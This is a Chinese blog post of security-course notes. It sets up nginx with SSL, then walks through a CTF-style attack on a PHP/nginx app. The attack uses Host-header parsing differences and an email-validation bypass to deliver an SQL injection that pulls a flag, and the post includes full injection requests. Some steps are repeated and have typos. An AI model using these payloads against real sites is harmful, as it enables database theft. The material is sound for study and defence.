安全中级1-nginx_host与php处理不同绕过

目录

一、nginx配置证书

1.生成一个ssl.key密钥

2.创建一个key的目录,并将ssl.key放入到key目录下

3.将ssl.key修改为xxx.key

4.创建ssl.key密钥

5.删除xxx.key

6.生成一个ssl.csr证书

7.给证书生成证书时长

8.启动nginx ,出现了下面的问题

9.主要问题是我们没编译ngx_http_ssl_module这个模块

10.进入到我们原先解压的安装包中

11.编译ssl_module

12.编译

13.关闭nginx

14.进入到nginx-1.24.0,将nginx启动模块在覆盖一边

15.配置nginx.conf文件

16.配置如下内容

17.重启nginx

18.在物理机的浏览器输入https://192.168.191.129

二、攻击LNMP架构的web应用的小技巧

1.nginx+php+mysql(php推荐5.6版本),上篇博客提到过怎么搭建

(1)上传文件到我们的/usr/local/nginx/html下

(2)配置nginx.conf

(3)配置config.php文件,输入mysql的用户和密码

 

(4)访问www.php.com

2.phpstudy面板搭建的配置

3.原理(sql的单引号逃逸)

4.先对邮箱进行一个绕过(0x03 FILTER_VALIDATE_EMAIL绕过)

5.绕过nginx的host头部的三种技巧

(1)Nginx在处理Host的时候,会将Host用冒号分割成hostname和port,port部分被丢弃。所以,我们可以设置Host的值为2023.mhz.pw:xxx'"@example.com,这样就能访问到目标Server块:

(2)当我们传入两个Host头的时候,Nginx将以第一个为准,而PHP-FPM将以第二个为准。

也就是说,如果我传入:

(3)在Burpsuite里修改协议为https,并指定好https的Host,也就是SNI。我们再修改HTTP数据包的Host头,就能正常访问目标后端了。

6.sql进行注入

三、LNMP构建入侵思路(自己的思路)

1.先通过查看代码发现$_server接前端的邮箱并没有进行限制特殊字符,我们可以通过这一点进行一个sql的注入

2.先对邮箱进行逃逸单引号,根据邮箱的结构分为local part和domain part两部分,而我们的domain part连接的是网址,所以没办法注入,但是我们的local part如果含有特殊字符,可以通过双引号将其包围比如(a'),最终是("a'")。而邮箱是用户名、Host、@三部分构成,所以我们可以这样构造,代码没对双引号进行过滤,所以用户名我们可以是"a,而我们的host为a'",最后构造成"aa'"@example.com就可以绕过邮箱,同时还带有单引号。

3.当我们利用burpsuit,修改用户名和host对我们的邮箱绕过后,提交后,发现他给我们报了404的问题,这是我们nginx在处理host的时候会将Host用冒号分割成hostname和port,port部分被丢,而我们构造的host没有hostname所以nginx不知到咋处理就出现了404,解决方法就是我们通过冒号(:)前面是我们访问的目标网站,后面构造成我们伪造的host,最后host被构造成(www.php.com:a'"@example.com),就让我们的mysql进行了报错,还有一种方法就是构造双host,比如(host:www.php.com host: a'"@example.com),其处理一样,将第一个访问后被nginx处理,第二个host会被我们的php接收。

4.进行注入,host头部为

Host: www.php.com

Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@examle.com

完整的结果为 insert into users values('"a',abcdecdccd,'"a@ '),('t123',md5(12123),(select(flag)from(flages)))"@example.com')

第一个host为目标网址,第二个host的')是将前面用户密码进行闭合(用户名为"a,密码为123,邮箱为"@example),而('jiege',md5(12123),(select(flag)from(flags)))这个是用户名jiege,密码12123,邮箱是从flags拿出我们的flage,#是将我们多余的双引号进行注释掉,防止插入出现问题。

5.登陆我们插入的用户jiege,密码12123,之后就可以看到我们的flage。

一、nginx配置证书

1.生成一个ssl.key密钥

openssl genrsa -des3 -out ssl.key 2096

2.创建一个key的目录,并将ssl.key放入到key目录下

mkdir key

mv ssl.key key/

cd key 

3.将ssl.key修改为xxx.key

mv ssl.key xxx.key

4.创建ssl.key密钥

openssl rsa -in xxx.key -out ssl.key

5.删除xxx.key

rm xxx.key

6.生成一个ssl.csr证书

openssl req -new -key ssl.key -out ssl.csr

7.给证书生成证书时长

openssl x509 -req -days 365 -in ssl.csr -signkey ssl.key-out 

8.启动nginx ,出现了下面的问题

cd /usr/local/nginx/sbin

./nginx -s reload

9.主要问题是我们没编译ngx_http_ssl_module这个模块

10.进入到我们原先解压的安装包中

cd /usr/local/nginx-1.24.0/

11.编译ssl_module

./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module

12.编译

make

13.关闭nginx

cd /usr/local/nginx/sbin

./nginx -s stop

#如果报错根据问题继续解决

14.进入到nginx-1.24.0,将nginx启动模块在覆盖一边

cd /usr/local/nginx-1.24.0/

cp obis/nginx  /usr/local/nginx/sbin/

15.配置nginx.conf文件

cd /usr/local/nginx/conf/

vim nginx.conf

16.配置如下内容

   #证书认证

   rewrite ^(.*)$ https://192.168.191.129; 

  #证书认证
    server {
        listen       443 ssl;
        server_name  192.168.191.129;

        ssl_certificate      /root/key/ssl.crt;
        ssl_certificate_key  /root/key/ssl.key;

        #ssl_session_cache    shared:SSL:1m;
        ssl_session_timeout  5m;

        ssl_ciphers  HIGH:!aNULL:!MD5;
        ssl_prefer_server_ciphers  on;

        location / {
            root   html;
            index  index.html index.htm;
        }
    }

17.重启nginx

cd /usr/local/nginx/sbin/

./nginx

18.在物理机的浏览器输入https://192.168.191.129

二、攻击LNMP架构的web应用的小技巧

1.nginx+php+mysql(php推荐5.6版本),上篇博客提到过怎么搭建

(1)上传文件到我们的/usr/local/nginx/html下

(2)配置nginx.conf

server {
        listen       80;
        server_name  www.php.com;
        root         /usr/local/nginx/html/pwnhub/web;
        index index.php index.html;
        access_log  logs/host.access.log  main;

        location / {
        try_files $uri $uri/ /index.php;
        }

        location ~ \.php$(.*)$ {
            fastcgi_pass   127.0.0.1:9000;
           fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }

    }

(3)配置config.php文件,输入mysql的用户和密码

 

<?php

date_default_timezone_set('PRC');


 

$config = array(

    'rewrite' => array(

        '<m>/<c>/<a>'          => '<m>/<c>/<a>',

        '<c>/<a>'          => '<c>/<a>',

        '/'                => 'main/index',

    ),

    'debug' => 1,

    'mysql' => array(

        'MYSQL_HOST' => 'localhost',

        'MYSQL_PORT' => '3306',

        'MYSQL_USER' => 'root',

        'MYSQL_DB'   => 'security',

        'MYSQL_PASS' => 'root',

        'MYSQL_CHARSET' => 'utf8mb4',

    ),

);

return $config;

(4)访问www.php.com

2.phpstudy面板搭建的配置

server {

    listen 80;

    server_name www.php.com;

    root "D:/phpstudy_pro/WWW/pwnhub/web";

    index index.html index.php;

    location / {

         try_files $uri $uri/ /index.php;

         autoindex on;

        }

    location ~ \.php(.*)$ {

        fastcgi_pass   127.0.0.1:9000;

        fastcgi_index  index.php;

        fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;

        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;

        fastcgi_param  PATH_INFO  $fastcgi_path_info;

        fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;

        include        fastcgi_params;

        }

}

 注意:fastcgi_pass 127.0.0.0:9000 端口要一致,其它配置一样。

3.原理(sql的单引号逃逸)

        在架构的lnmp的时候,首先对用户和密码通过$_REQUEST进行接入,也对特殊的字符进行了过滤和限制,但是在接前端的email的时候一般用$_SERVER进行接入,但是并为进行特殊字符进行限制,而且邮箱如果没有填写,则自动设置为”用户名@网站域名“。而网站的域名是从arg('HTTP_HOST')中获取,也就是从$_REQUEST$_SERVER中获取。因为$_SERVER没有经过转义,我们只需要在HTTP头Host值中引入单引号,即可造成一个SQL注入漏洞。

<?php
function actionRegister(){
    if ($_POST) {
        $username = arg('username');
        $password = arg('password');

        if (empty($username) || empty($password)) {
            $this->error('Username or password is empty.');
        }

        $email = arg('email');
        if (empty($email)) {
            $email = $username . '@' . arg('HTTP_HOST');
        }

        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $this->error('Email error.');
        }

        $user = new User();
        $data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");
        if ($data) {
            $this->error('This username is exists.');
        }

        $ret = $user->create([
            'username' => $username,
            'password' => md5($password),
            'email' => $email
        ]);
        if ($ret) {
            $_SESSION['user_id'] = $user->lastInsertId();
        } else {
            $this->error('Unknown error.');
        }
    }

}

4.先对邮箱进行一个绕过(0x03 FILTER_VALIDATE_EMAIL绕过)

        原理是邮箱地址分为local part和domain part两部分。local part中包含特殊字符,需要如下处理:

(1)将特殊字符用\转义,如Joe\'Blow@example.com

(2)或将local part包裹在双引号中,如"Joe'Blow"@example.com

(3)local part长度不超过64个字符

因为代码中邮箱是用户名、@、Host三者拼接而成,但用户名是经过了转义的,所以单引号只能放在Host中。我们可以传入用户名为",Host为aaa'"@example.com,最后拼接出来的邮箱为"aaa'"@example.com。这个含有单引号构成sql注入

5.绕过nginx的host头部的三种技巧

(1)Nginx在处理Host的时候,会将Host用冒号分割成hostname和port,port部分被丢弃。所以,我们可以设置Host的值为2023.mhz.pw:xxx'"@example.com,这样就能访问到目标Server块:

(2)当我们传入两个Host头的时候,Nginx将以第一个为准,而PHP-FPM将以第二个为准。

也就是说,如果我传入:

Host: 2023.mhz.pw
Host: xxx'"@example.com

Nginx将认为Host为2023.mhz.pw,并交给目标Server块处理;但PHP中使$_SERVER['HTTP_HOST']取到的值却是xxx'"@example.com。这样也可以绕过

(3)在Burpsuite里修改协议为https,并指定好https的Host,也就是SNI。我们再修改HTTP数据包的Host头,就能正常访问目标后端了。

6.sql进行注入

        我们通过阅读代码知道我们的flag在flags下,所以直接burpsuit进行注入

POST /main/register HTTP/1.1
Host: 2023.mhz.pw
Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
Accept-Encoding: gzip, deflate
Accept: */*

三、LNMP构建入侵思路(自己的思路)

1.先通过查看代码发现$_server接前端的邮箱并没有进行限制特殊字符,我们可以通过这一点进行一个sql的注入

2.先对邮箱进行逃逸单引号,根据邮箱的结构分为local part和domain part两部分,而我们的domain part连接的是网址,所以没办法注入,但是我们的local part如果含有特殊字符,可以通过双引号将其包围比如(a'),最终是("a'")。而邮箱是用户名、Host、@三部分构成,所以我们可以这样构造,代码没对双引号进行过滤,所以用户名我们可以是"a,而我们的host为a'",最后构造成"aa'"@example.com就可以绕过邮箱,同时还带有单引号。

3.当我们利用burpsuit,修改用户名和host对我们的邮箱绕过后,提交后,发现他给我们报了404的问题,这是我们nginx在处理host的时候会将Host用冒号分割成hostname和port,port部分被丢,而我们构造的host没有hostname所以nginx不知到咋处理就出现了404,解决方法就是我们通过冒号(:)前面是我们访问的目标网站,后面构造成我们伪造的host,最后host被构造成(www.php.com:a'"@example.com),就让我们的mysql进行了报错,还有一种方法就是构造双host,比如(host:www.php.com host: a'"@example.com),其处理一样,将第一个访问后被nginx处理,第二个host会被我们的php接收。

4.进行注入,host头部为

Host: www.php.com

Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@examle.com

完整的结果为 insert into users values('"a',abcdecdccd,'"a@ '),('t123',md5(12123),(select(flag)from(flages)))"@example.com')

第一个host为目标网址,第二个host的')是将前面用户密码进行闭合(用户名为"a,密码为123,邮箱为"@example),而('jiege',md5(12123),(select(flag)from(flags)))这个是用户名jiege,密码12123,邮箱是从flags拿出我们的flage,#是将我们多余的双引号进行注释掉,防止插入出现问题。

5.登陆我们插入的用户jiege,密码12123,之后就可以看到我们的flage。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值